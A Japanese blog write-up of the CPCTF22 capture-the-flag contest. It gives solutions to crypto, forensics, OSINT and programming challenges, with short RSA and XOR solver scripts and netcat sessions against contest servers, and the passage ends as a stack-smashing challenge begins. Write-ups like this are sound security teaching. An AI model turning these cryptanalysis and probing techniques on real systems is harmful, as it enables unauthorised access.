プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

CPCTF22 write-up

CPCTF22に参加しました。そのwrite-up記事です。

コンテスト概要

2022/05/01(日) 13:30 +09:00 - 2022/05/01(日) 19:30:00 +09:00 の開催期間でした。他ルールはAboutページから引用します:

ようこそ
東京工業大学デジタル創作同好会traPによる新入生歓迎イベントです。
新入生でない人でも参加できます。もちろん、学外の人でも大歓迎です。
新入生の中で上位に入賞した方にはささやかな景品もあります。

CPCTFとは
  競技プログラミング (Competitive Programming)
    アルゴリズムやプログラミングの能力を競う競技
  CTF (Capture The Flag)
    サイバーセキュリティの能力を競う競技
……を主に新入生や、そうじゃないひとたちにも体験してもらおう!!という試みです。
ぜひ気軽に参加してください。

参加方法
ページ右上のログインからログイン/アカウント作成してください。
アカウント作成にはメールアドレスが必要です。
新入生の方は「~@m.titech.ac.jp」のメールアドレスで登録し、新入生の欄にチェックをお願いします。この情報は景品の受け渡しに利用します。

タイムスケジュール
競技開始 : 2022年 5月1日(日) 13:30
競技終了 : 2022年 5月1日(日) 19:30
結果発表 : 2022年 5月1日(日) 20:00

景品
新入生のうち、上位五名には景品があります!上位をめざして頑張ってください!
景品の受け取り方法については登録された@m.titech.ac.jpのメールアドレスを用いて連絡する予定です。

観戦
競技に参加しなくても、ページ上部のランキングから順位表を観戦することができます。
また、こちらから競技の様子を可視化したビジュアライザを見ることができます。
また、ビジュアライザは少々重いため、競技中はその様子をYouTubeLiveで配信します。そちらもご利用ください。

CPCTFの遊び方
  ページ中央の登録からアカウントを作成します
    すでに作成した人は右上のログインからログインすることができます
  ページ上部メニューの問題一覧から問題を探しましょう。
    問題はたくさんあります。解けそうなものから解いてみましょう。
    点数やジャンルについての詳しい説明はこの下にあります。
  問題を解きます。
    わからないことがあったら、ページ上部の質問から質問しましょう。
    運営からの重要な連絡はアナウンスに表示されます。
  FLAGを提出します。
    FLAGの形式はCPCTF{[-_a-zA-Z0-9]+}です。

禁止事項
複数人での参加
問題サーバー及びスコアサーバーに過度な負荷をかけるような行為
複数のアカウントを用いての参加
競技時間中のSNS等におけるFLAGの内容、解法などの問題に関する言及
  ○○を解きました!!など、問題を解いたことに関する言及はOKです

ジャッジサーバーの対応言語について
プログラムを提出するタイプの問題は以下の言語にのみ対応しています
  C
  C++
  Java
  Python3
  PyPy3
  C#
  Haskell
  Ruby
  Go
  Rust
コンパイル・実行コマンドなど詳細な情報はこのページの最下部にあります。

WebShellについて
CTFではLinuxで使えるコマンドを使いたいことがあります。
しかし、初心者の方はLinux環境をすぐには用意出来ないと思います。
そこで、CPCTF22ではWebShellという形で自由に使えるLinux環境を用意しました。
(中略)

ジャンルについて
各問題には ジャンル が設定されています。
どのジャンルがどういった問題なのかは、以下を参考にしてください。
  Reversing
    Linuxの実行形式ファイル(WindowsのEXEみたいなもの)を解析します。ちょっぴり難しめです。
  Pwn
    Linuxの実行形式ファイルの脆弱性を突いて制御を奪ったりする問題です。一番ハッキングっぽいかも?初心者の方はとっつきにくいかも。
  PPC
    競技プログラミングです。アルゴリズムの力で殴る問題です。競プロを体験したい人はこのジャンルを倒しましょう。
  Crypto
    暗号です。数学が好きな人は楽しめる……?かも。
  Shell
    Unixシェルの知識や技術を試す問題です。Unixを触ったことがなくても、調べながらなんとかできる問題も多いです。
  Forensics
    与えられたファイルをくまなく調査する問題です。求められる知識は広いですが、Google先生が強い味方になってくれるでしょう。
  Web
    Webに関する知識や、Webアプリの脆弱性を突く問題です。ブラウザだけで解ける問題もあるので、手を付けやすいかも。
  OSINT
    いわゆるネトスト(ネットストーカー)をする問題です。個人情報の特定みたいなことをします。
  Misc
    作った人が分類に困った問題です。なんかいろいろありますね。

問題について
CPCTFでは、大学新入生向けの 易しい問題 を多く用意しています。(用意したつもりです。)
問題には 難易度 が設定されており、コレが高いほど難しい問題になります。
  Newbie (10点固定)
    チュートリアル問題です。shell操作に慣れていない人はこの問題を一通りやるといいでしょう。
  Easy
    簡単です。初心者の方はここから手を付けると良いでしょう。経験者の方はちょっと物足りないかも。
  Medium
    普通くらいの問題です。このあたりが解けると、なかなかすごいかもです。
  Hard
    かなり難しいです。解けたらスーパーハッカーを名乗れるかもです。
問題の解かれた回数は、もっと良い指標になるかもしれません!チェックしてみてください。
なお、点数は下にあるように変動します。

ヒントについて
CPCTFでは、難易度がEasy以上の問題には2つのヒントと解答がついています。
ヒントを開くと、獲得できるポイントが減ってしまいますが、悩んでいても解けないものは解けないので、バンバン開いてしまうことをおすすめします。
特に、1番目のヒントは得点減少率が低く設定されています。
上位入賞を狙う人も、ヒントをバンバン読んでたくさんの問題を解いたほうが有利かもしれませんね。
解答を見ても、少しだけ点数がつくので最後まで挑戦しましょう!

動的配点について
大雑把に言うと
解いた人数が多いほど得点が下がります
ヒントを開くと自分の得る得点が下がります
難易度別には以下の通りです。
  難易度 ヒントなし ヒント1個   ヒント2個   ヒント3個(解法)
  Newbie    10          10          10          10
  Easy      500 ~ 50    475 ~ 47.5  400 ~ 40    50 ~ 5
  Medium    500 ~ 50    475 ~ 47.5  400 ~ 40    50 ~ 5
  Hard      500 ~ 50    475 ~ 47.5  400 ~ 40    50 ~ 5

(後略)

結果

正の得点を得ている121人中、5,204.90点で7位でした。

獲得点数遷移

環境

Windows(Windows Sandboxを含む)とWSL2(Ubuntu)、VirtualBox(REMnux)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19044.1682]

c:\>wsl -l -v
  NAME          STATE           VERSION
* Ubuntu        Stopped         2
  kali-linux    Stopped         2

c:\>

他ソフト

  • IDA Free Version 7.7.220118 Windows x64 (64-bit address size)
  • TestDisk 7.2-WIP
  • Binary Editor BZ Version 1.9.8.5
  • Google Chrome Beta Version 102.0.5005.27 (Official Build) beta (64-bit)

WSL2(Ubuntu)

$ cat /proc/version
Linux version 5.10.102.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Mar 2 00:30:59 UTC 2022
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show pip | grep Version
Version: 22.0.4
$ python3.8 -m pip show IPython | grep Version
Version: 7.29.0
$ python3.8 -m pip show pwntools | grep Version
Version: 4.7.0
$ python3.8 -m pip show pycryptodome | grep Version
Version: 3.11.0
$ sage --version
SageMath version 8.1, Release Date: 2017-12-07
$ g++ --version | head -2
g++ (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
Copyright (C) 2017 Free Software Foundation, Inc.
$ gdb --version | head -2
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$ curl --version
curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3
Release-Date: 2018-01-24
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL
$ binwalk --help | grep 'Binwalk v'
Binwalk v2.1.1
$ exiftool -ver
10.80
$

VirtualBox(REMnux)

$ cat /proc/version
Linux version 4.15.0-118-generic (buildd@lgw01-amd64-039) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #119-Ubuntu SMP Tue Sep 8 12:30:01 UTC 2020
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$

ノーヒントで解けた問題

Aboutページにもある通り、難易度Newbieの問題は常に10点です。また、本CTFではヒント機能があります。どうやらヒントを見た人も正答者数にそのまま数えるようです。

ヒントを全く見ないで解けた問題を以下に記述します。

[Crypto, Newbie] My own language (73 solves, 10.00 points)

Ya! Lxi zyq etxn sawo rtooxmto? Metxs! Sawo wo x pwin yb owrugt oqcoswsqswyi lwuate saxs etugxlto x gtsste dwsa ysate gtsste. Sat Lxtoxe lwuate, yit yb sat bxryqo oqcoswsqswyi lwuateo, axo ctti wi qot owilt sat swrt yb sat xilwtis Eyrxi Truwet. sat bgxm wo atet. LULSB{dtglyrt_sy_lezusy_dyegn}.

とりあえずROT13を疑いましたが違いました。シーザー暗号も疑いましたが違いました。まさか換字式暗号かと考えて quipqiup - cryptoquip and cryptogram solver へ投げてみると復号してくれました:

Oh! Can you read this messages? Great! This is a kind of simple substitution cipher that replaces a letter with other letter. The Caesar cipher, one of the famous substitution ciphers, has been in use since the time of the ancient Roman Empire. the flag is here. CPCTF{welcome_to_crypto_world}.

フラグを入手できました: CPCTF{welcome_to_crypto_world}

[Crypto, Newbie] RSA warmup (75 solves, 10.00 points)

多くの秘密を守る為、現代ではRSA暗号がよく使われています。そこでRSA暗号の仕組みについて問う問題です。
RSA暗号とは剰余上の累乗を使った暗号です。具体的には暗号化は次のようにして計算します。
  1. 素数 p,q を生成して N=pq を計算
  2. 平文 m に対して暗号文 c は c≡m e (modN)
例えば
  p=2,q=19,N=38
  m=7,e=3
とすると暗号文 c は c=7^3=11(mod38) となります。

それでは逆に復号化はどうやってやるのでしょうか?暗号文と e,N を与えるので平文をフラグの中に書いて提出してください。例えば平文が1であれば CPCTF{1} と書きます。
  c=810
  e=5
  N=415411

Nが小さいのでfactorコマンドで素因数分解しました:

$ factor 415411
415411: 487 853
$

あとはIPythonの対話環境を使って復号しました:

In [7]: c=810

In [8]: e=5

In [9]: N=415411

In [10]: (p, q) = (487, 853)

In [11]: d = pow(e, -1, (p-1)*(q-1))

In [12]: m = pow(c, d, N)

In [13]: m
Out[13]: 40613

問題文にある通りの書式で構築して、フラグを入手できました: CPCTF{40613}

[Crypto, Easy] PHE1 (43 solves, 184.28 points)

秘密鍵を持ってることを秘密鍵なしで証明するハッピーな方法を考えたッピ!

接続先
nc phe1.cpctf.space 30007

配布ファイルとして、以下のproblem.pyがありました:

# coding: utf-8
import os
from Crypto.Util.number import getPrime, bytes_to_long

from secret import flag


def encrypt(plain, N, e):
    return pow(plain, e, N)


def decrypt(enc, p, q, e):
    phi = (p-1) * (q-1)
    d = pow(e, -1, phi)
    return pow(enc, d, p * q)


def generate_question(N, e):
    question1 = bytes_to_long(os.urandom(16))
    question2 = bytes_to_long(os.urandom(16))
    question3 = question1 * question2

    return [encrypt(question1, N, e), encrypt(question2, N, e)], encrypt(question3, N, e)


def main():
    p = getPrime(512)
    q = getPrime(512)
    N = p * q
    e = 0x10001

    print("Welcome to Happy App")
    print(f"N = {N}")
    print(f"e = {e}")
    while True:
        q, correct = generate_question(N, e)
        print(f"encrypt(a) = {q[0]}")
        print(f"encrypt(b) = {q[1]}")
        print("What is a × b encrypted")

        answer = int(input("> "))
        if(correct == answer):
            print(flag)
        else:
            print("Noooooo")
        break
    return


if __name__ == "__main__":
    main()

コードを見ながら考えると、q1, q2をランダムに決定して

c1 = q1^e mod N
c2 = q2^e mod N
c3 = (q1*q2)^e mod N
   = (c1 * c2) mod N

としていることがわかりました。つまり出力から計算して与えればよいです:

$ nc phe1.cpctf.space 30007
Welcome to Happy App
N = 57620988644283068669958592137198638612583347139100406131136621763518345649048364058209151939009338148165061396826653472921800235898834631013119940905178000454666138708284102073041444912514749528131888949528298319161279063554522898792824848307459288952130646808792555949665018019604925118192643014371601418537
e = 65537
encrypt(a) = 2996054138814093403831360573532206951698550206680819715229755691206161637621342892814035505915902979889086443379120980908141589093824510451290587318711896791699360531591907519214592548626569384173912569869515372051669715183420246952379431637328860759889092753126021646062578525982003005850637001757417985205
encrypt(b) = 23382277619599678244039386296852514234489284219547302472673257444836653974529141711920359623248138505393715695250352166142926286279505938633858103779405783459428261229035350868065881570964593141252510212728229632075144475179272189816407811214764474037721878211205656537165207159145953844449419252735053757558
What is a × b encrypted
(ここでターミナルをもう1つ起動してIPythonを起動)
In [7]: 2996054138814093403831360573532206951698550206680819715229755691206161637621342892814035505915902979889086443379120980908141589093824510451290587318711896791699360531591907519214592548626569384173912569869515372051669715183420246952379431637328860759889092753126021646062578525982003005850637001757417985205 * 23382277619599678244039386296852514234489284219547302472673257444836653974529141711920359623248138505393715695250352166142926286279505938633858103779405783459428261229035350868065881570964593141252510212728229632075144475179272189816407811214764474037721878211205656537165207159145953844449419252735053757558 % 57620988644283068669958592137198638612583347139100406131136621763518345649048364058209151939009338148165061396826653472921800235898834631013119940905178000454666138708284102073041444912514749528131888949528298319161279063554522898792824848307459288952130646808792555949665018019604925118192643014371601418537
Out[7]: 52330451327254161172767072972537728545973588151382025316136203563896756867981801044108345893274250128874644252912510490871258155900650044422133150936120932052480590974011807105093547341569095614341557464662021361086952622053079826358485562766898962407303771833121618022588978521244882747534101839031360177047
(ncを実行したターミナルへ戻ります)
> 52330451327254161172767072972537728545973588151382025316136203563896756867981801044108345893274250128874644252912510490871258155900650044422133150936120932052480590974011807105093547341569095614341557464662021361086952622053079826358485562766898962407303771833121618022588978521244882747534101839031360177047
b'CPCTF{Is_the_RSA_a_happy_tool_pe0lws}'
$

フラグを入手できました: CPCTF{Is_the_RSA_a_happy_tool_pe0lws}

[Crypto, Easy] poweRSA (31 solves, 225.56 points)

ヤーーッ!パワーーッ!(ニッ

問題文に続いて、以下のソースコードと出力も記述されていました:

from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

m = bytes_to_long(FLAG)
p = getPrime(512)
q = getPrime(512)
N = p * q
e = 0x10001
r = pow(p, q, N)
c = pow(m, e, N)

print("N:", N)
print("r:", r)
print("c:", c)
N: 90155872626109118751539082340637664291284739918666752584753399796834394108934269799361082409068780300733478243187803947914852201275756546305701601038245062017076328987708208192044674964106835923338854908195583033310310682803512196201848036103484667516142174036453910627093541752413321035733931243762833992113
r: 9322793222533738919136767770062343847990445869750540466031127454552421896606703877767352447027469817530156341564290950012563071681611937229761941420331277
c: 6146682863326523930660780475800345684609346868118904988599020801137516078990162263453764612248242206809400248946028976662634601168167123937919798903932765746347318386910880849642655181553179504240263695508893635468417428856823495012423849224891599994895553098814398443037416874773801965115317240666818199846

「多分rはpかqでは」と考えて、とりあえず素数判定をしてみました:

$ sage -c 'print(is_prime(9322793222533738919136767770062343847990445869750540466031127454552421896606703877767352447027469817530156341564290950012563071681611937229761941420331277))'
True
$

素数であることがわかったので、後はRSAとして復号するソルバーを書きました:

#!/usr/bin/env python3.8

from Crypto.Util.number import long_to_bytes

e = 0x10001
N= 90155872626109118751539082340637664291284739918666752584753399796834394108934269799361082409068780300733478243187803947914852201275756546305701601038245062017076328987708208192044674964106835923338854908195583033310310682803512196201848036103484667516142174036453910627093541752413321035733931243762833992113
p= 9322793222533738919136767770062343847990445869750540466031127454552421896606703877767352447027469817530156341564290950012563071681611937229761941420331277
c= 6146682863326523930660780475800345684609346868118904988599020801137516078990162263453764612248242206809400248946028976662634601168167123937919798903932765746347318386910880849642655181553179504240263695508893635468417428856823495012423849224891599994895553098814398443037416874773801965115317240666818199846
q = N // p
assert p*q == N
d = pow(e, -1, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, N)).decode())

実行しました:

$ ./solve.py
CPCTF{c0mm0n_d1v1s0r_1s_c0mm0n_tr1gg3r}
$

フラグを入手できました: CPCTF{c0mm0n_d1v1s0r_1s_c0mm0n_tr1gg3r}

[Crypto, Easy] xxorxx (39 solves, 179.85 points)

たくさん書き換えれば誰にもわからないよね!

問題文に続いて、以下のソースコードと暗号文も記述されていました:

import random
from secret import FLAG

def encrypt(message):
    text = list(message.encode('ascii'))
    for _ in range(100):
        a = random.randrange(1, 32)
        b = random.randrange(1, 32)
        for i in range(len(text)):
            text[i] = a ^ ((b ^ text[i]) ^ a) ^ b ^ a
    ciphertext = bytes(text)
    return ciphertext

cipher = encrypt(FLAG)
with open('ciphertext', 'wb') as f:
    f.write(cipher)
VEVASnm%gJ$ Jv%xx`"!"$c&h

ソースコードを見ると乱数a, bを生成して使っているように見えますが、aは3回XORしているので1回分と同義ですし、bは2回XORしているので無意味です。そこまでわかったのでaだけを探索するソルバーを書きました:

#!/usr/bin/env python3.8

def decrypt(c, key):
    return b"".join(map(lambda b: bytes([b^key]), c))

c = b'VEVASnm%gJ$ Jv%xx`"!"$c&h'
for i in range(256):
    m = decrypt(c, i)
    if b"CPCTF{" in m:
        print(m.decode())

実行しました:

$ ./solve.py
CPCTF{x0r_15_c0mmu7471v3}
$

フラグを入手できました: CPCTF{x0r_15_c0mmu7471v3}

[Forensics, Newbie] sunset (54 solves, 10.00 points)

問題文は無く、flag.jpg(問題文は.png表記ですがリンク先は.jpg)のみが与えられました。おもむろに検索しました:

$ exiftool flag.jpg | grep CTF
Comment                         : CPCTF{3x1f_inf0_15_us3fu1}
$

フラグを入手できました: CPCTF{3x1f_inf0_15_us3fu1}

[Forensics, Easy] deeper (22 solves, 300.00 points)

問題文はなく、flagファイルのみが与えられました。とりあえず見てみました:

$ binwalk flag

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 2822 x 1540, 8-bit/color RGB, non-interlaced
91            0x5B            Zlib compressed data, compressed
32233         0x7DE9          Zip archive data, at least v1.0 to extract, compressed size: 16039, uncompressed size: 16039, name: flag
48408         0xBD18          End of Zip archive

$

とりあえずpngファイルとして見てみると、「flag is in deeper...」と書かれた内容でした。そういうわけでZipファイルとして展開しました:

$ unzip flag_1.png
Archive:  flag_1.png
warning [flag_1.png]:  32233 extra bytes at beginning or within zipfile
  (attempting to process anyway)
 extracting: flag
$ file flag
flag: gzip compressed data, was "flag", last modified: Fri Mar 11 13:04:13 2022, from Unix
$

圧縮形式がネストしています。同様に展開を続けました:

$ mv flag flag_2.gz
$ gzip --decompress --keep flag_2.gz
$ ls
flag_1.png  flag_2  flag_2.gz
$ file flag_2
flag_2: bzip2 compressed data, block size = 900k
$ mv flag_2 flag_3.bz2
$ bzip2 --decompress --keep flag_3.bz2
$ ls
flag_1.png  flag_2.gz  flag_3  flag_3.bz2
$ file flag_3
flag_3: ASCII text, with very long lines
$ mv flag_3 flag_4.txt
$ xxd flag_4.txt | head -10
00000000: 5545 7344 4242 5141 4141 4149 4143 5775  UEsDBBQAAAAIACWu
00000010: 6131 5258 5866 6471 316a 7741 4146 5736  a1RXXfdq1jwAAFW6
00000020: 4151 4149 4142 7741 5a6d 7868 5a79 357a  AQAIABwAZmxhZy5z
00000030: 646d 6456 5641 6b41 4130 5646 4b32 494a  dmdVVAkAA0VFK2IJ
00000040: 5269 7469 6458 674c 4141 4545 3951 4541  RitidXgLAAEE9QEA
00000050: 4141 5155 4141 4141 7a5a 3162 7a78 3348  AAQUAAAAzZ1bzx3H
00000060: 6557 6276 4235 6a2f 5144 4159 4941 4773  eWbvB5j/QDAYIAGs
00000070: 7265 3764 5a39 7679 5459 444d 7a51 417a  re7dZ9vyTYDMzQAz
00000080: 4633 4e76 3042 496c 4b36 5a45 6761 526a  F3Nv0BIlK6ZEgaRj
00000090: 4f34 5035 372f 5055 3774 3466 7a56 7072  O4P57/PU7t4fzVpr
$ cat flag_4.txt | base64 -d > flag_5
$ file flag_5
flag_5: Zip archive data, at least v2.0 to extract
$ mv flag_5 flag_5.zip
$ unzip flag_5.zip
Archive:  flag_5.zip
  inflating: flag.svg
$

ここでSVG画像が出てきたので開くと、一部黒塗りのフラグ文字列が表示されました。文字選択はできたのでコピーすると、フラグがわかりました: CPCTF{4_10t_of_f1l3_typ35}

[Misc, Easy] This is Flag!! (41 solves, 196.60 points)

これがフラグです!フラグだと思うものをCPCTF{}に包んでください。

w‮e‭h‮urt‭a‮si‭t

コピペするために範囲選択しようとすると、カーソル位置がおかしな場所へ移動することに気付きました。UnicodeのRight-To-Left記号が入っていそうだったので、ファイルに保存してBzで開きました: 1文字ずつ拾って、CPCTF{}に包んでフラグを入手できました: CPCTF{wehurtasit}

[OSINT, Newbie] Welcome to OSINT! 1 (72 solves, 10.00 points)

調査対象から入手できたのは、このラーメンの画像のみだ。君らなら何らかの情報を得ることができるはずだ。頼んだぞ、エージェント諸君。

入門者向け問題とのことなのでGoogle画像検索で検索してみると https://nm615.blogspot.com/ がヒットしました。そのページにアクセスしてみると、フラグが書かれていました: CPCTF{n1c3_s34rch_sk1ll}

[OSINT, Easy] hacker (26 solves, 372.41 points)

あなたは、あるハッカー集団を追っています。その中で、彼らが運営しているWebサイトのリンクと思われる以下の文字列を入手しました。彼らの秘密を暴いてください。
wmwldbr7ajqnnvngrx5cuaiedntpc2776ykoxo7mopkle44mif43syad.onion

onionアドレスなのでTow Browser経由でアクセスすると、ロゴ画像と文章のみのシンプルなページが表示されました。なんとなくHTMLソースを確認すると、ロゴ画像だけ:8000ポートを使用していました。ファイル名を削って http://wmwldbr7ajqnnvngrx5cuaiedntpc2776ykoxo7mopkle44mif43syad.onion:8000/ へアクセスしてみると、以下の表示がありました:

You are the real hacker!
The FLAG is CPCTF{d1v3_d33p_1nt0_th3_d4rkn355}

フラグを入手できました: CPCTF{d1v3_d33p_1nt0_th3_d4rkn355}

[OSINT, Medium] illumination (25 solves, 287.18 points)

フラグは、撮影された通りの名前をヘボン式ローマ字で大文字表記したものです。変換にはこのサイト(https://tomari.org/main/java/hebon.html)を用いると良いでしょう。

この問題は想定難易度が高いので、Google Lensを試すことにしました。Google Chrome Beta版を起動して画像を読み込ませ、右クリックメニューのSearch image with Googl Lensを選択します。いい具合に認識されるように試行錯誤しました:

写真中央のイルミネーション(?)箇所周辺に合わせると、よく似たサムネイル画像と Stunning Holiday Light Displays From Around the World が見つかりました。そのページにアクセスして見てみると、「Yokohama, Japan」箇所で「Christmas and New Year Illuminations at Isezaki Mall. DigiPub/Getty Images」と紹介されていました。意気揚々とGoogleマップで「伊勢崎モール」で検索すると、「伊勢佐木町通り」であることが分かりました。あとは問題文にあるとおりにヘボン式ローマ字に変換したフラグを提出すると、無事正解できました: CPCTF{ISEZAKICHODORI}

[PPC, Newbie] Addition Construct (66 solves, 10.00 points)

問題文は作問陣Writeupをご参照ください

5000を境界に、極端に振り分けてやればできそうです。その戦略で実装しました:

#include<iostream>
#include<cstdlib>
#include<vector>
#include<string>
using namespace std;

void solve() {
    int N;
    cin >> N;
    if (N <= 5000) {
        std::cout << 1 << " " << (N - 1) << std::endl;
    }
    else {
        std::cout << 5000 << " " << (N - 5000) << std::endl;
    }
}

int main() {
    cin.tie(0);
    ios::sync_with_stdio(false);

    solve();
}

提出すると無事ACとなり、フラグを入手できました: CPCTF{c0n57ruc710n_pr0bl3m5_4r3_h4rd}

なお、問題サイトの出力例1の説明で「tqk さんだけいっぱい食べられますが、2 人は 5000 個食べないと満足しないので、誤差です。」という注意書きがありました。笑いました。

[PPC, Newbie] Nkuth's Plus Notation (44 solves, 10.00 points)

問題文は作問陣Writeupをご参照ください

各種数値の制約が1桁なので、愚直な実装で済みそうです。オーバーフローが怖いので、念のため64-bit整数型を使うようにします。その戦略で実装しました:

#include<iostream>
#include<cstdlib>
#include<vector>
#include<string>
using namespace std;

using ULL = unsigned long long;

ULL nkuth(ULL N, ULL A, ULL B) {
    if (N == 1) {
        return A + B;
    }

    ULL x = A;
    for (int i = 1; i < B; ++i) {
        x = nkuth(N - 1, A, x);
    }
    return x;
}

void solve() {
    int N, A, B;
    cin >> N >> A >> B;

    cout << nkuth(N, A, B) << endl;
}

int main() {
    cin.tie(0);
    ios::sync_with_stdio(false);

    solve();
}

提出すると無事ACとなり、フラグを入手できました: CPCTF{5_plus-5_5_yen_h0sh11}

[PPC, Easy] Garbage Bags Optimization (34 solves, 201.42 points)

問題文は作問陣Writeupをご参照ください

容量Sで可能かどうかを二分探索する戦略だと間に合いそうです。そう考えて実装しました:

#include<iostream>
#include<cstdlib>
#include<vector>
#include<string>
using namespace std;

using ULL = unsigned long long;

bool can(const auto& v, ULL S, int K) {
    int restTrash = K;
    ULL restCapacity = S;
    for (const auto x : v) {
        if (x > S) { return false; }

        if (restCapacity >= x) {
            restCapacity -= x;
        }
        else {
            restTrash -= 1;
            if (restTrash <= 0) { return false; }
            restCapacity = S - x;
        }
    }
    return true;
}

void solve() {
    int N, K;
    cin >> N >> K;

    vector<ULL> v(N, 0);
    for (auto& x : v) {
        cin >> x;
    }

    ULL low = 0, high = 10000000000000000000ULL;
    while (low < high) {
        ULL mid = (low + high) / 2;
        if (can(v, mid, K)) {
            high = mid;
        }
        else {
            low = mid + 1;
        }
    }

    cout << low << endl;
}

int main() {
    cin.tie(0);
    ios::sync_with_stdio(false);

    solve();
}

提出すると無事ACとなり、フラグを入手できました: CPCTF{xXb1nAry_searCH_iiypXx}

[PPC, Easy] RTA in Honey traP (16 solves, 308.10 points)

問題文は作問陣Writeupをご参照ください

根から距離Xにある節にチェックポイントを設定すると、X * (その節以下の葉の個数 -1)だけ短縮できます。根からの距離と節以下の葉の個数は、深さ優先探索でO(N)で計算できます。その後にチェックポイント位置をO(N)で全探索して最短プレイ時間を求めます。これらにより、全体としてもO(N)の時間計算量になります。

根のシナリオをクリアするまでにも1時間かかる点を忘れていて少々ハマりつつ、以下のコードを実装しました:

#include<iostream>
#include<cstdlib>
#include<vector>
#include<limits>
using namespace std;

using ULL = unsigned long long;

struct Node {
    std::vector<int> nexts;
    int height = 0; // 根からの高さ
    int leafCount = 0; // そのノード以下の葉の個数、葉なら1でいいや。
};

int N;

std::vector<Node> nodes;

// 戻り値: 葉の個数
int calculate_height_and_leaf_count(int index, int height) {
    nodes[index].height = height;

    if (nodes[index].nexts.empty()) { return 1; }
    else {
        int leafCount = 0;
        for (auto v : nodes[index].nexts) {
            leafCount += calculate_height_and_leaf_count(v, height + 1);
        }
        nodes[index].leafCount = leafCount;
        return leafCount;
    }
}

void solve() {
    cin >> N;
    nodes.resize(N);
    for (int i = 0; i < N - 1; ++i) {
        int a, b;
        cin >> a >> b;

        // to 0-indexed
        a -= 1;
        b -= 1;
        nodes[a].nexts.push_back(b);
    }

    calculate_height_and_leaf_count(0, 1); // シナリオ1のプレイに1時間かかる

    ULL resultWithoutCheckPoint = 0;
    for (const auto& node : nodes) {
        if (node.nexts.empty()) {
            resultWithoutCheckPoint += node.height;
        }
    }

    ULL result = resultWithoutCheckPoint;
    for (int checkPoint = 0; checkPoint < N; ++checkPoint) {
        ULL current = resultWithoutCheckPoint - (nodes[checkPoint].leafCount - 1) * nodes[checkPoint].height;
        result = std::min(result, current);
    }

    std::cout << result << std::endl;
}

int main() {
    cin.tie(0);
    ios::sync_with_stdio(false);

    solve();
}

提出すると無事ACとなり、フラグを入手できました: CPCTF{s0sfhihGtSh1wDdaQ}

[PPC, Easy] Shout Sucu (23 solves, 259.38 points)

問題文は作問陣Writeupをご参照ください

しばらく悩んだ後、dp[これからindexAを歌う][喉を痛めた回数] := 最小の口パク回数の状態を管理する動的計画法を思いつきました:

#include<iostream>
#include<cstdlib>
#include<vector>
#include<string>
#include<limits.h>
#include<string.h>
using namespace std;

using ULL = unsigned long long;

int dp[10005][105] = {}; // dp[これからindexAを歌う][喉を痛めた回数] == 最小の口パク回数

void MinAssign(auto& a, const auto& b) {
    if (a > b) {
        a = b;
    }
}

void solve() {
    int N, K;
    cin >> N >> K;

    std::vector<ULL> A(N, 0);
    for (int i = 0; i < N; ++i) {
        std::cin >> A[i];
    }

    std::vector<ULL> X(K, 0);
    for (int i = 0; i < K; ++i) {
        std::cin >> X[i];
    }

    constexpr int INF = 0x3F3F3F3F;
    memset(dp, INF, sizeof(dp));

    dp[0][0] = 0;
    for (int ia = 0; ia < N; ++ia) {
        for (int ix = 0; ix <= K; ++ix) {
            if (dp[ia][ix] == INF) { continue; }

            if (ix == K) {
                MinAssign(dp[ia + 1][ix], dp[ia][ix] + 1); // 口パク
            }
            else {
                if (X[ix] >= A[ia]) {
                    MinAssign(dp[ia + 1][ix], dp[ia][ix]);
                }
                else {
                    MinAssign(dp[ia + 1][ix + 1], dp[ia][ix]); // 無理して歌う
                    MinAssign(dp[ia + 1][ix], dp[ia][ix] + 1); // 口パク
                }
            }
        }
    }

    int result = INF;
    for (int i = 0; i <= K; ++i) {
        MinAssign(result, dp[N][i]);
    }

    cout << result << endl;
}

int main() {
    cin.tie(0);
    ios::sync_with_stdio(false);

    solve();
}

提出すると無事ACとなり、フラグを入手できました: CPCTF{cUS0deQa-vo1cE}

入出力例2で笑いました。

[Pwn, Easy] Smash Stack (21 solves, 279.86 points)

Let's learn how to exploit!

接続先
nc smash-stack.cpctf.space 30005

配布ファイルとして、以下のvuln.cがありました:

#include <stdio.h>

void show_stack(char *buf) {
    printf("\n");
